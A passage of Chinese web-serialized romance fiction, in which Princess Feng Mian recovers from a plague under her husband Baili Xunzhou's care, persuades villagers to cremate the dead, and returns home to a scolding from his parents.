他坏心眼地补充道:“这是对你没有照顾好自己的惩罚。” 见封眠的眉眼和脑袋一起蔫蔫地耷拉下去,百里浔舟心中微软,伸出食指,轻轻勾了勾她的下巴,哄道:“我带你去院中坐坐,可好?” 指节触及的皮肤仍是热烫,令他心中蹙眉。 那自然是好极!生着病闷在屋子里的人,最需要去院中坐一坐,望一望天,吹一吹风了。 只是封眠病得四肢虚软无力,只能由着百里浔舟照料。 百里浔舟手执干爽的巾帕,熟练地为她拭去额上的汗,巾帕自湿漉漉的鬓角掠过,擦过温热柔软的耳垂,最终贴上她纤长雪白的脖颈。 颈侧的皮肤格外娇嫩敏感,微凉的触感激得封眠下意识一缩,反而轻轻夹住了百里浔舟捏着巾帕的手,精致的锁骨随之凸起,细腻的肌肤抵在他掌缘。 两人俱是一僵。 百里浔舟喉结微动,张了几次口,才找回自己的声音,“须将汗擦净了才好出门,否则要受风的。” 封眠慢慢松下肩膀,长睫颤了颤,只嘀咕了一句:“痒。” “那我轻些?” 又不是给伤口上药,这时候越是轻缓,反而越撩得发痒。她只觉心里躁得慌,软声催促:“你快些。” “好。” 百里浔舟忙应了,回身又换了张干净的巾帕,再贴上她颈侧时,便见一抹绯色自寝衣外裸露的肌肤上一点点攀了上来,如晚霞浸染白玉,迅速蔓延至耳根。 像极一朵徐徐绽开的粉瓣芍药,令百里浔舟的呼吸轻轻一滞,动作也迟疑了一瞬。 封眠偷眼去瞧百里浔舟,见他竟连耳廓都红得仿佛要滴出血来,比自己还要窘迫。 看见旁人不如自己时,自己那点羞涩反倒不值一提了,甚至生出了逗弄的心思,故意问道:“怎么了?有什么不妥吗?” “没有。”百里浔舟如梦初醒,窘迫之下,只干巴巴地回应了两个字。 见他如此,封眠心下更轻松了,原本有些紧张的身体放松下来,甚至配合得垂下头,将脆弱雪白的后颈暴露在百里浔舟眼下。 百里浔指节微紧,手执巾帕沿寝衣边缘轻探而入。指尖忽而触道一抹温润滑腻,一时既盼时间长些,却又觉自己心跳如鼓,有些禁受不住,想快些结束。心思矛盾辗转。 “你的手指好烫,该不会也烧起来了吧?”封眠火上浇油地调侃,说着话还要转过身来,扬起脑袋要去探他的额头。 百里浔舟一时又窘又恼,牙根痒痒地在她光洁的额头上轻敲一记,握住她纤瘦的肩头将她的身子扳正,“坐好,不许乱动。” 衣襟遮掩下的其他地方,实在是不便他再代劳,只又替她擦净了双手。一番折腾下来,百里浔舟额上都覆了薄汗,两颊醺红,与高烧也无异了。 他便转身去拿来一件大氅,将封眠严严实实裹了起来。 封眠大惊:“现下可是暑月!” “若在我眼皮子底下,让你吹风着了凉,那我不如自绝算了。” 他故意将话说得重了些,封眠果然不再抗拒,乖乖地任她动作。 封眠蹬上软缎绣鞋,伸手想让他扶自己起身,接着眼前便被一道身影挡住,两只手臂分别稳稳地托住她的腰后和膝弯,微一用力,便被百里浔舟稳稳横抱起来。 她下意识搂住百里浔舟的脖颈,脸颊无意间蹭到他颈侧温热的皮肤,两人呼吸皆是一顿。 他就这么抱着她出了门。 门外夜色如水,院中一滩月光如浅泊。夜风拂来的苦涩药味中,掺杂着青草、泥土的自然气息。 是生机勃勃的味道。 封眠有些劫后余生的庆幸。她想,她一定是被命运所眷顾的。 百里浔舟将她安稳地放在院中的竹椅上,又小心将微微散开的大氅拢好,一丝进风的缝隙都不留。 方才一抱,他只觉怀中像抱了一片羽毛似的,轻飘飘的无甚重量,仿佛风一吹便会飘走,心中疼惜,忍不住轻声道:“你要多爱惜自己一些。” 封眠一时心虚,“我很惜命啊。” 若不是惜命,她才不会为几年后可预见的悲惨结局,远嫁北疆呢。 她反瞧一眼百里浔舟,清冷月色模糊了他眉宇间的锐气,只余几许温柔,少年的眉眼干净漂亮,此刻专注地望着她,让她心口发紧。 现在的她,也很不愿去想他会在最意气风发的年纪里死去。 她反问道:“你呢?你这般不管不顾陷在这里,疾羽营怎么办?定北军怎么办?百姓又该怎么办?” “父亲不是尚在吗?不知你是否安然,我怎么能安心?那时……根本来不及想那许多。” 只是听她这一连串的问话,百里浔舟心下忽而有些忐忑了,“你是不是不喜欢我这样做?” 她抬眸望去,他清澈的瞳仁中映着她小小的身影,眸光晶亮仿佛漫天星子也尽数落入他的眼底。 封眠像是被他的目光烫到一般,别过脸咕哝:“你别说得好像我不识好人心一样,你冒着风险来顾我,我自然很是感激的。” 只是感激啊。百里浔舟心下轻轻一叹,但他又觉得此时再说些什么,实在有几分像是挟恩图报,便只唇角微扬,轻声道:“知道感激便好,待你病好,切莫忘了回报一二。” 封眠装做听不见的样子,仰首望着夜空,感叹:“今夜的星星好亮。” “嗯,很漂亮。”他应声,眼睛却往她的脸上瞟。 “那是什么?”她忽然望向远方。 只见天际冉冉升起一盏暖黄的孔明灯,跃动的火光如流星般照亮夜色。紧接着,是第二盏、第三盏…… 越来越多,渐渐缀成一片璀璨灯河,顺风悠悠飘来。 “上面好像有字,写得什么?” 顺风而来的最近一盏灯正缓缓掠过他们头顶。 “愿郡主逢凶化吉。”他仰首细看,低声念出,又望向另一盏,“郡主万安。” “诸邪退散。” “早日康复。” 他一盏一盏地念着,每一盏灯上都写着斗大的吉祥话,字迹以及灯的做工和样式也肉眼可见的不一致,显然是出自无数人之手。 无数祈愿自云中郡的方向飘来,是百姓在为她祈愿。 大家心中都念着她呢。 封眠心下一暖,鼻尖微酸。然而下一刻,她忽然想到什么,哀哀地将目光投向百里浔舟:“母亲和父亲是不是也知道了?” 百姓们都大张旗鼓地放飞孔明灯祈福了,定然是消息没瞒住。 封眠与百里浔舟这两个“不听话”“以身涉险”的人面面相觑,不由齐齐叹一口气—— 作者有话说:还病着呢,亲亲我们先攒着!快了快了[摸头] 第72章 星与灯火璀璨,院中两人开始思索回去后要会如何被王爷和王妃耳提面命地训诫。 封眠忽然想起自己将醒未醒之际,似乎听百里浔舟在自己耳边说了件儿时的故事,一面回忆,一面问道:“你是不是说过,你幼时也曾被拐子拐过?” “我是为了救人,双拳难敌四手,才一并被绑了去。”百里浔舟严谨地纠正。 结果不是都一样吗?虽是这般想着,但封眠体贴地没有说出口,只接着问道:“你可还记得是在哪里?可是一处叫齐山的地方?” 百里浔舟蹙眉回忆了半晌,这件事早已经掩埋在他惊心动魄的兵戈生涯之下,很多年未曾想起过,一时间还真不能确定事发地点。 他尝试着倒推。当时父亲似乎是准备带着他入京觐见圣上,那是这么多年来唯一一次带他入京,结果半路发生他“被拐走”的意外,父亲将他救出来后,剿灭了附近的拐子,便把他送回了北疆。 他们那时正行到……“对, 是齐山附近。” 听见肯定的答复,封眠一双眼笑成了弯月状,继续问道:“你只记得自己如何英武地烧了山洞,带着大家一起出逃,又如何机智地戏弄了那群拐子,成功逃出生天,旁的什么都不记得了?” “记得这些还不够吗?”百里浔舟不解,强调道,“那时父亲嫌我年纪小,还不肯让我调令兵马,那一夜,可是我头一次做‘战斗’指挥。回去后,父亲便肯放手让我带兵,我这才一点点建起了疾羽营。” 好吧,这对于年幼的小将军来说,可是初出茅庐的一场小战绩,自然只有精彩的战斗才值得铭记。封眠乐不可支,最后提醒他:“与你一起被关在山洞里的人,你也都不记得了,那个小姑娘呢?” 什么姑娘? 百里浔舟微微蹙起眉心,显然什么也没有想起来。 “你还记不记得我曾说过,我幼时被拐子关在山洞里,有一个小男孩安慰我不要害怕?”封眠循循善诱。 百里浔舟的目光从茫然到惊讶,不敢置信地迟疑道:“该不会,是我吧?” 他全然没了印象…… 等等,封眠那时说那个小男孩与她说什么“黑暗里其实藏着星星守护神,只是我们看不见而已”,他不但在心里嫌弃幼稚,嘴上还在说封眠好骗,世上哪里有什么鬼神? 若那个小男孩就是他自己,他岂不是在骂自己呢? “你自己说过什么话都忘记了,若不是我还记得着火后一起逃跑时,那个小男孩将外衫脱了挂在树枝上迷惑敌人,怕是也认不出你来。” 对十几年来在宫中安稳生活着的封眠来说,出宫被拐那段时间的经历实在是惊心动魄,是以印象深刻,并牢牢地将学到的那一点逃生小技巧记在了脑海中,初来北疆,在狼骨龄遇袭之际,她也是靠着一招,短暂地甩开了流匪。 百里浔舟全然没想过自己竟然那么早就与封眠相识了,心下小小地雀跃起来,这算不算是有缘呢?必然算的吧,她这么年就出宫那么一次,偏巧就遇上了他,怎么能不算呢? 这厢百里浔舟正兀自窃喜着,忽听封眠带着笑意问道:“你那时想牵我的衣服,是不是因为自己害怕?” 明明是他怕黑,却装出一副无所谓的样子安慰她,还有模有样地说“我牵着你,别怕”。 封眠抑制不住,面上的笑容逐渐扩大,“想不到你小小年纪,就这么好面子了?” 什么旖旎的感慨啊缘分啊,此刻尽数散尽了,百里浔舟只觉两颊烧红,颇有些狼狈地侧过头去,“我那是……若我们两个人都表现出害怕的样子,岂不是就要崩溃了?我自然要装上一装了!” “后来你不也是因此,不再怕黑了吗?”想到这一茬,百里浔舟忽地不心虚了,侧眸瞧向封眠,眼底暗含得意,“说明我当时装得很到位,很有用。” 封眠大笑,险些从竹椅上跌下去,被百里浔舟捞了一把,才重新坐稳。 她揉一揉笑到有些晕眩的额头,重重喘了一口气,“是是是,我还要多谢你才是。” 百里浔舟微一探身,伸出手替她按揉着太阳穴,垂眸瞧她时,眸光温柔,“当时并没有人与我说,皇宫跑丢的某位小县主也在那群孩子里,否则我定然会印象深刻,不会忘的。” “或者,当时我没有折返,而是随父亲去了盛京,说不定也能早早遇见你。” “这可不一定,回去之后我就病了,小半年没怎么见过人呢。” 封眠语调轻松,百里浔舟却陡然想起曾听母亲说过,太后将封眠送入道观关了七日的事,好似都是在这一年? “可是太后为难你?”他脱口问道。 封眠静默了半晌。 这几乎是两人头次聊起封眠在宫中的那些时日,百里浔舟所知的一切,都是旁人口中传了一道道的八卦,他不知其中有几分真假,在封眠的心上又留下了多少痕迹。现下见封眠神色,他便想那一定是不甚愉快的记忆,有些懊恼自己突然问出这样的问题。 他正要开口换个话题,却听见封眠仍有些虚弱的嗓音轻轻道:“也不仅仅是太后。” 从五岁,到现在,已经过去了十二年,齐山那段经历都大致有些模糊了,但回宫后那些时日发生的一切,细细回想起来,却仍然历历在目。 “因为我的任性出逃,暑月殿上下的宫人都遭了殃。他们没做错任何事,只因没看住我,就平白丢了性命……”这是封眠心底最后悔的一桩事,仅是提起便觉心底翻江倒海的痛,嗓音都微微的哑了。 她还能记起那时贴身照顾她的两名宫婢笑起来的模样,正是少女最活泼朝气的年纪,她因父亲的死讯失眠了几夜,她们就陪着她熬了几夜。 只是彼时她被舅舅宠爱太过,并不知晓一次不听话的后果会那般严重。 暑月殿的人被尽数淘换,舅舅气她不听话,更气她跑出宫是为了去找只陪伴过她三日的父亲,斥责她这般举止不像她的母亲安乐公主,反而像极了她的父亲。在这世上,舅舅最厌恶的人就是她的父亲,于是一时冷待于她。 那几日她烧得迷迷糊糊,又开始做奇怪的梦,太后便趁机借题发挥,瞒着舅舅将她关进了道观里。 直到褚景涟在舅舅面前不小心说漏了嘴,封眠才被放了出来。 那之后,封眠便懂得在宫里生存,需要她更加乖顺听话才行。 “我被带入宫里时还只是个话都不会说的小婴儿,能瞧出什么性格好坏呢?舅舅是看在母亲的面子上,才对我百般照拂,自然不希望我身上有像父亲的地方。” “而太后不喜欢我母亲,便也不喜欢我,所以不管我是听话还是叛逆,她只要找到机会便为难我。” “你看,他们都不是因为我是什么模样,来决定对我的好恶,而是根据对我母亲的好恶,来决定对我的态度。” 将压在心底,困扰自己许多年的杂乱思绪缓缓地说出口,封眠蓦地感觉身心轻盈许多,也许有些话与情绪,当真只需要一个出口便好了。 她轻轻叹了一口气,便被两只手一左一右捧住了脸颊肉,缓缓地将她的脑袋转了个方向,眼前是骤然放大的一双眼。 乌黑的眸子如点漆一般,灼灼真挚地看着她。 “我不认识安乐公主,我只认识你。” 所以我喜欢你,便只是喜欢你,与任何人任何事都无关。 她一定是烧得更严重了,封眠想,否则怎么会觉得脑袋更晕了呢? 封眠抬起手,湿热的掌心贴在了百里浔舟的侧脸上,遮面的棉质面巾触感粗粝。 风声草声虫鸣声尽数消失,百里浔舟只听得心头砰砰乱跳,心脏快要擂穿胸膛跳出来了。 贴在颊侧的手用力一推,封眠嘀咕:“别靠我太近,当心将病传给你。” 百里浔舟:“……” “我……” “喝药了。”柳寄雪端着药走过来,将两人往屋里赶,“夜风开始凉了,不要在院子里坐这么久,快进屋。” 百里浔舟重又将被大氅裹得严严实实的封眠,塞进被子里裹得严严实实,转身正想去接过柳寄雪手中的药碗,柳寄雪却径直上前将他挤到一边,将药递给了封眠。 封眠端过温度适宜的药碗,咕嘟嘟一口气喝干了,柳寄雪又递来蜜饯喂进她嘴巴里。 “今夜好好睡一觉,明日我再来替你把脉。”柳寄雪又絮絮与封眠说了几句话。 被晾在一边的百里浔舟心下有些郁闷,柳寄雪在这里的时候,他好像就成了一个无用的外人,好多余。 翌日一大早,百里浔舟蹲守在药房内,借口其他病人更需要柳寄雪,将她支走,全权揽下了给封眠送药的活计。 他用勺子搅着汤药,努力将滚烫的汤药晾至适宜入口的温度,再双手捧到床榻前递给封眠,看着封眠一口气喝光汤药,便及时喂上一粒蜜饯。 见封眠吃得两 颊鼓鼓,他这才觉得心下舒坦了。 连续喝了两日药,封眠便退烧了。 “此药有效,太好了,太好了!”柳寄雪难得有情绪语气这么激昂的时候,露出的眼睛是笑着的,眼底却漾起了浅浅的泪花。 百里浔舟狠狠地松了口气,终于没有负担地笑了出来。 封眠亦是终于安心,她下定决心,道:“帮我通知一下大家,一个时辰后,在村口的空地前集合。” 有些事情不能再拖下去了。 听闻郡主有事要宣布,百姓们紧张得隔着些距离站好,有些担心郡主的病情不会加重了吧? 待看到郡主好端端的现身,众人才齐齐松了口气。 封眠先将大夫们研配出新药方的事情说了,众人终于看见了痊愈的希望,纷纷喜不自胜,满口的吉祥话说着。 封眠向下压了压手,止住了众人的欢呼,此时方才提出要焚烧尸体的决定。 不出意料,群情激奋。 有年迈的老人使足了力气嚷道:“这与掘人祖坟、挫骨扬灰,有何不同啊!” 第73章 嘈杂激愤的言辞如浪打着浪一般涌来,守卫们都警觉地横起了刀鞘,以防备情绪激动的百姓们忽然行什么过激之举。 在这紧张的气氛之中,封眠虚弱地咳了两声,百里浔舟忙关切地上前站至她身侧,轻声问:“我来吧?” 封眠摇摇头,这种有悖于当世人伦常理念之事,既是她要做的,便应由她来向众人做出解释,有多少不满与怨愤,也都应由她扛着。 底下众人虽然愤恼上头,但多少还惦念着封眠之前行的好事,见她大病初愈,如此虚弱情状,也不由地都压了声音与火气,静等着听她还要说些什么。 封眠略略扬高了声音,言辞恳切:“我知此举很难接受,若非行至绝路,绝不会行此下策。” “但若不彻底焚烧染病而亡的尸身,飞蝇鼠蚁,空气泥土,甚至是井水之中,都有可能会染上病气。如此往复,疫病何时能绝?” 隔离治疗了这许多天,众人如何不知但凡与病患有一点接触,都极有可能染上疫病的道理?他们很快便想通了其间的联系,活人染病已是如此轻易,更何况埋葬入土、日久便会腐烂的尸身? 众人一时皆沉默了,一时觉得封眠说得似乎有些道理,一时情感上却实在迈不过那一道坎。 有那年轻气盛重孝道的,仍是气愤:“我父生前已遭了大罪,若死后连个全尸都保不住,我岂不是大不孝!往后有何颜面再去见他?” 封眠看向他,言辞切切,“那我且问你,若你染病死后,尸身不焚,来日极可能令自己的至亲子女染病而亡,你待如何?” 那人一怔,想到家中刚回跑跳着喊“爹爹”的一双儿女,一时说不出话,为了自己孩子的平安,他自是什么都愿去做,更遑论只是死后被焚尸? 其余人亦是纷纷思及己身,心中的天平渐渐向封眠倾泻了几许。只是让他们自己做出牺牲自然没什么,可现下要烧毁的,是他们至亲挚友的尸身…… “再者,若因此导致满门死绝,日后无人祭祀,这对祖先来讲,难道便是孝了吗?” 封眠将他们拿来反对自己的“孝道”还了回去。 底下众人闻言一哽,竟觉得她说得极为有道理,与断了香火相比,似乎焚烧尸身,算不得是最不孝的。 见众人似乎已有所松动,封眠放缓了语调:“我已遣人去请明檀寺的高僧,灵虚观的道长,届时会做七七四十九日的法事,为所有亡魂超度。” “我亦会在西山脚下立一块祛病碑,将亡者的名讳铭刻其上,永世受后人香火供奉。白水县,乃至整个北疆,大雍,都会铭记他们今日的贡献,也会铭记你们的大义。” 众人所求,不过是亲友死后哀荣,封眠自当竭力满足。她的目光扫过一张张略有动容的面容,如今,只差一个领头表态之人。 “我愿支持郡主!” 人群中,婉娘站了出来。她隔着几尺的距离,与封眠遥遥相望。 半个时辰前,郡主私下与她倾心谈过此事,她从震惊抗拒,到接受,也只不过用了半柱香的时间。她相信愿意为了百姓以身犯险的人,绝对不会反过来害他们! 况且迎儿那么小,于家那几个没心肝的能记得他几时呢?她想要他名姓永刻碑上,被后人铭记,便是她故去了,也能香火不断,保永世平安。 一人表态,便陆续有人开始附和,渐渐地,就连念头最为顽固的老古板,也止声不再多言。 封眠松了一口气,回首与身后的柳寄雪和百里浔舟对视一眼,三人同时露出一点欣慰的笑意。 百里浔舟望着封眠病后愈发纤弱的身影,既为她事成而高兴,又因她以孱弱身躯肩起如此大事而心疼。 他上前扶着封眠回去休息,说道:“你为此事开了个好头,扫尾的事便交予我吧,莫再费心神了。” 有人自愿代劳,封眠当然乐得轻松。 午后,太阳最盛之时,西山脚下腾起了层层烟雾。 人们站在屋外的空地上,纷纷面向西山行礼,哭声远远传至西山脚下,遥送亡灵。 经此一举,疫情再未向外扩散过,再加之新药方的应用,多数病患也日渐好转起来。 封眠也终于度过了隔离观察的日子,准备趁着清晨悄悄离开。没承想刚出门,便见百姓们已早早侯在屋外,隔着一段距离向她伏首拜送。 乌压压的一片,沉默无声,感敬之意却已震天。 封眠遥遥与众人回了个礼后,便登上马车,回了驿站。 驿站外站了一溜翘首企盼的人,远远瞧见马车驶来,众人都有些蠢蠢欲动地想要上前相迎。但顾春温与陆鸣竹两个自觉身份不妥,忍了又忍又克制住了。 流萤和雾柳两名贴身侍女则名正言顺地拔腿跑向了马车,第一时间扶着封眠下了马车,流萤眼睛里又冒起了泪花,“郡主终于回来,这几日真真是要把奴婢们担心死了!” “郡主竟还特意着人看着,不许我们近前照顾,这些时日……”雾柳小小抱怨的话音一顿,瞧见百里浔舟跟在封眠身后下了马车,惊讶地张了张嘴,“世子殿下?” 众人皆是一惊,百里浔舟是何时混进来的? 不怪他们消息落后,只是这里几个人没一个是关心百里浔舟动向的,柳寄雪等人也常驻于家村附近,并不走动。而百里浔舟闯进来时也没往驿站去,只随手抓了个守卫逼问封眠的所在,驿站附近的守卫又皆是疾羽营借调出来,自不会多嘴什么。 是以他们到此刻才知道,百里浔舟竟一直在里面照顾封眠! 顾春温隔着几步远瞧见封眠回首落在百里浔舟身上的目光,心底微微一凉。陆鸣竹酸溜溜地迈开步子,一脚踩到块石子,险些一头栽倒。 流萤两眼放光地在两人身上打量来打量去,唇角翘得已然压不住了。 好极好极,打从盛京出来,她就暗暗为郡主寻不到如意郎君而担忧,一路上确实也没少计划着日后要张罗着为郡主寻几个俊俏优秀的小郎君,如今见世子殿下待郡主这般上心,觉得自己的计划倒可以无限期搁置下去了。 傅辞偃慢悠悠地跟在流萤和雾柳身后晃到近前,上下将百里浔舟打量了几遍,轻哼出声:“不错嘛,挺有胆魄。” 听着像是夸奖,但好似又带上了一点淡淡的嘲意,让人摸不清他这话到底是什么意思。 在于家村发生的事情,众人皆已知晓了,流萤便问道:“既然如今疫病已可控了,咱们是不是终于可以回去了?” 封眠含笑点点头:“目前只需将于家村和小山村继续隔离起来便好,再过旬日,这两处估摸着也没什么事了。” 出来日久,又被困在方寸之地日日焦灼忧心,众人早便想回云中郡了。 “王妃知道了,定然很是高兴。” 封眠与百里浔 舟对视一眼,只盼着王妃慈母心肠,心疼他们二人受苦受难,从轻发落。 接下来又花了半日的时间准备车马,收整行囊。众人便迫不及待地准备踏上回云中郡的路了。 临行前,封眠撩开车帘,询问刚准备上马的陆鸣竹:“陆大人,你现下可有空吗?我有些事想与你聊一聊。” 被困住这些时日,也不知外头的铺子都如何了。 陆鸣竹自然无有不应,乐颠颠地应召上了马车。 他刚坐下,正要关上马车车门,又一人跟着走到了马车旁边。 “郡主,微臣也有事要禀。”顾春温一手抵住马车车门,温言问道:“不知可便同乘?” “自然,顾大人请。”封眠不觉得有什么,点头应了。 顾春温从善如流地上了马车,在陆鸣竹对面坐下,冲他微微一笑。 外头,百里浔舟蹙眉瞧着,忽地翻身下马,将缰绳丢到一旁守卫的怀里,大步行到马车旁,从小小的窗口微微探头,做出一副困倦的模样,瞧着封眠道:“这几日我都未休息好,可否借马车歇一歇?” 车窗外一点光线落在他的脸上,明暗交错的光影映得他眉眼深邃,自下向上抬眼瞧人,莫名透出一股可怜巴巴的意味来。 封眠立时就心软了,正要应声,却听临窗而坐的顾春温侧首轻声问道:“我等谈论公事,可会吵到殿下?” 百里浔舟略侧了侧脸看他,眉眼骤然锋利起来,不大客气道:“往日出征,哪有那么安静无声的地方给你睡觉?有点声音在耳边,我反倒能歇得更安稳。” “好了,快上来吧,车里有软垫,你靠着歇一歇。”封眠伸出食指来,将百里浔舟的脑袋从窗边戳出去,动作与话语间皆是亲昵。 百里浔舟登时笑弯了眼,绕到马车门边,大步跨上了马车。他弯着腰越过分坐两侧的顾春温和陆鸣竹,径直挨着封眠落座。 流萤和雾柳两人挨着门边坐着,瞧见里头四人端坐这一幕,感觉空气莫名紧张起来。 百里浔舟坐下时,刻意地挽了挽袖子,将两只手露出来,再刻意地从封眠面前探过,拉了拉窗边的帘幔。 这一伸手,便将手背上烫伤似的红痕暴露在了封眠眼前。 封眠将他正要收回的手抓回自己面前细看,眉心轻轻蹙起,关切道:“何时伤的?” 百里浔舟死抿住唇,不让唇角翘起,正要说话,马车门又被打开了,傅辞偃站在外头,双手环胸而抱,打量着马车里的一干人等,“都在啊,不介意再多搭一个人吧?腿疼,骑不了马。” 在座的三位公子很想说介意,奈何封眠说了句不介意,只能眼睁睁看着马车里又塞进来一个人。 幸而封眠出行的马车空间阔朗,塞下他们几个人仍有余裕,并不显得如何拥挤。 百里浔舟勾了勾被封眠托在掌心的手指,将话题拉了回来:“一点小伤,煎药时不小心溅到了。” “怎么这么不当心?上过药了没有?”想到病着的那几日,确实是他日日端着药来,她竟没注意到他是何时伤的手。 “无妨,我又不怕烫。你忘了?小时候我在山洞里点着火,救你一起出去。那么近那么高的火苗我都不怕,刚出炉的汤药算不得什么。” 百里浔舟就这样超绝不经意地当着众人的面,透露出他与封眠自幼相识的信息。 果然引得众人纷纷侧目,他们二人幼时便曾见过?—— 作者有话说:马车:今天工作量有点大了 第74章 封眠闻言瞧向百里浔舟:你不是不记得了吗? 百里浔舟无辜回望:努力回忆嘛,想着想着,有些碎片画面就自动溜进脑海里了。 至于一些细节问题,想不到就编造一番。总之他们自幼相识可是事实。 傅辞偃目光狐疑,直言相问:“郡主出嫁前应该从未出过宫吧,世子殿下又未曾去过盛京,你们幼时如何能见过面?莫不是在梦里?” 哼,百里浔舟冷眼瞧他,“岂能什么事都被你们知道了去?” 真说出来吓死你们,他与封眠可不是简单的见过面而已,还一起共患难过,那可是一段惊心动魄,令人此生难忘的的回忆。 只是他不知这段过往,封眠是否愿意让旁人知道,所以并未直接讲出来。 封眠觉得也没什么好瞒的,宫里头和盛京的贵人们几乎都知道此事,遂淡淡道:“说来也不是什么复杂之事,五岁那年我父亲战死,那时我不太懂事,便自己悄悄溜出宫去。半路遇见了拐子,这才意外与世子殿下相遇。” 寻常人听到此处,多会默然几息,为提及旁人的经年伤处而歉疚,正如顾春温与陆鸣竹,两人皆开始酝酿着安慰的措辞。 独独傅辞偃眸光一闪,追着问道:“你父亲,可是那位镇国大将军?” 仿佛真的很好奇一般。 封眠点了点头,“傅公子难道认识家父?” 傅辞偃的眼神愈加复杂古怪,半晌忽地郁气散尽一般,摇了摇头,用听不出意涵的平静语调说道:“耳闻而已,只是听说郡主自出生便被抱进了宫里教养,没想到竟还记得自己的生身父亲。” “血脉亲缘,自是天生亲近。”封眠觉得他问得古怪,就好像在他的预设中,她不但不应该记得父亲,反而应是记恨父亲一般,“他虽只陪过我几日,但我也知晓将士守家卫国之艰险,他与舅舅都是为了我的安危着想。” 虽然若是让封眠选择,也许她会更愿意跟在父亲身边南征北战,可长辈怜她之心,她亦是领情的。 傅辞偃垂首轻笑一声。 顾春温在旁瞧着,只觉傅辞偃看向封眠的眼神很是古怪,提起镇国大将军时的语气亦仿佛暗含着什么沉重的情感。 莫不是多年旧识? 他开口试探:“大将军自是悍勇,只是可惜英年早逝,又因陛下斥其薄情寡恩,郡主多年来皆养在宫中,民间百姓对其风评倒多有不好之处。” “一个外人倒懂得将军与公主夫妻二人的情分深浅了,多管闲事。”傅辞偃垂下眼睫,遮去眼底的冷诮。 只是这话说出来还像是在骂嘉裕帝一般,封眠也不大高兴,“舅舅爱护手足,自然难免有所偏私,也是人之常情。” 她不想再纠结于陈年旧事之上,往日不可追,还是当下比较重要,遂结束话题:“都是多少年前的旧事了,长辈之事,还是莫要妄议为好。我与两位大人还有正事要谈呢。” 傅辞偃倚靠在车壁上闭目养神,神色淡淡,瞧不出他在想什么。顾春温的目光不时落在他身上,心下悄然揣测他的身份。 封眠替百里浔舟将软垫摆好,让他靠着休憩,便与陆鸣竹和顾春温聊起了正事。 马车慢行,比骑马来回要慢上一日的时间,待到又一次夕阳斜晖之际,方才终于瞧见云中郡森然高耸的城墙。 城门口,百姓云集,比封眠初次来云中郡时聚集的人群还要更多。 只是这次不同,众人手上多用麻绳编的小篮子放着拿着鸡蛋、瓜果以及鲜花,远远瞧见马车行来,便乌泱泱地往围护着马车的守卫们身上递。 “拿着拿着,替我们给郡主送到家里去,这是自家养的鸡下的蛋,好好给郡主补补身子!” “这是我今晨摘的花,现下瞧是蔫吧了一点,插瓶子里再加点水就又活了,郡主莫要嫌弃!” “郡主您可要好生养着身体,这几日可把我们担心坏了!” 马车行速慢下来,封眠撩开帘幔,探出头去与目光所及的众人一一道谢。 百姓们的一点心意,送得出手才会觉得心中舒坦,她便也没有坚持推拒,命人好生收下了,到时吃了用了,在街上再碰见他们,还能再夸上一句,到时他们心里头菜高兴呢。 一抬眼,她忽地瞧见阿好和那名叫蔡小田的女孩挽 着手挤在人群中,好奇地隔着人群问,“阿好,小田,你们两个可是好事将近了?” 阿好羞涩地挠挠头,蔡小田大大方方地点头,“托郡主的福,祖母愿意随我们回来,现下我们已经是正经夫妻啦!阿好正学着做生意呢,来年互市,我们也能去了!” 封眠笑弯了眼,“恭喜,来年互市,我等着你们。” 马车摇摇晃晃进了城,百姓们不再围堵交通,封眠坐回马车里,吩咐流萤:“明日私下去给阿好和小田包个红封,就说是沾沾喜气。” “好嘞。”流萤心下也兴奋得紧,离开云中郡这许久,邻里们的八卦都不知更新几波了,她可要好好去抓人聊一聊! 王府门前,定北王与王妃亦是携手企盼中,王妃紧张得都快将定北王的手臂掐出於痕来了。 定北王:“夫人,小满人都回来了,自是平安无事,你莫要这么紧张。” “人是平安,怎么会无事?病去抽丝,况她身子骨本来就弱,这病中也不知吃得如何,阿琢是个不靠谱的,能将人照顾好吗?阿满怕是不知瘦成什么样子了!” 说话间,马车拐了进来,王妃急急往前迎了两步,便见一道人影比她还快地翻身下马,两步挤到马车前,伸出手臂将走出马车的封眠接了下来。 百里浔舟甚至还体贴地为封眠理了理身后卷起的薄披风。 王妃和定北王对视一眼,在彼此眼底看见了相同的诧异:这还是咱们家那个木头儿子吗?莫不是出去一趟,被人调包了吧? “父亲,母亲,我们回来了,让你们担忧了。”封眠由着百里浔舟牵着,并肩行到王妃和定北王面前,眼含歉疚地与两人见礼,“望父亲母亲莫怪。” “乖孩子,你心系百姓,母亲岂会责备捏!”王妃上前将百里浔舟牵着封眠的手拿开,将人拉到自己面前,前后左右瞧了个遍才心疼道:“果然瘦了!” 封眠:?是吗。 雾柳才说她病了一场,脸颊却还丰盈着,显是病中被照顾得很好呢。 “母亲,儿子……”百里浔舟上前欲插话,顺便再夺回自己与封眠的牵手权,身前便挡了座魁梧的“小山”。 定北王皮笑肉不笑地盯着自己儿子:“翅膀硬了,招呼都不打一声便擅自离军?” “先进去再说,门口风大,别将阿满吹坏了。”王妃象征性拦了一拦,挽着封眠往正堂走去。 百里浔舟瞧一眼天上的日头,阳光普照的暑日,母亲只关心儿媳会不会被风吹着,却半句不关心儿子会不会被爹打一顿,可真是感天动地母子情。 其余人被王府下人们各自领去歇息,正堂内只余下一家四口做清算。 定北王“砰”一拍桌,“知错没有?” 刚被王妃挽着坐下的封眠,噌一下站了起来。 “没事没事,没你的事,来,坐下。”王妃摁着封眠的肩头让她坐好,给她倒上一杯热茶,自己也冷脸去斥百里浔舟。 “不与你父亲传信便罢了,竟连母亲都瞒着!若你与阿满在于家村出了什么事,你让母亲怎么活!” 定北王闻言猛地扭过头去,小声道:“夫人,不与我传信可是违了军法……” 怎么瞧都是不与他传信的后果更严重些,叫夫人这么一说,瞒着他,倒还没有瞒着她严重了。 只是叫王妃一瞪,定北王也立即闭了嘴。 “儿子知错了。儿子不应感情用事,一时乱了手脚,累父亲母亲忧心了。”百里浔舟干脆地认错。 封眠听见“感情用事”几个字,忽地红了耳根。 百里浔舟继续道:“我将疾羽营暂且交予军师代管,上瞒将军,待回营后,自去领军法。” “隐瞒母亲,儿子愿领家法。” 封眠这下坐不住了,忙起身护到百里浔舟身前,“父亲,母亲,世子如此行事,皆因我而起,若要罚,也应将我一起罚了。” 百里浔舟垂眸瞧着挡在自己身前的纤弱身影。封眠比他要矮上一头,削肩细腰,根本挡不住他什么,却还是站了出来护住他。 眼底笑意几乎满溢出来,唇角也不受控制地翘了起来。 往日他在战场上驰骋杀敌,从来都是冲在最前头那个,今日却被比自己年幼、柔弱许多的,妻子,护在身后,这感觉陌生,奇异,却让人几乎暖到融化。 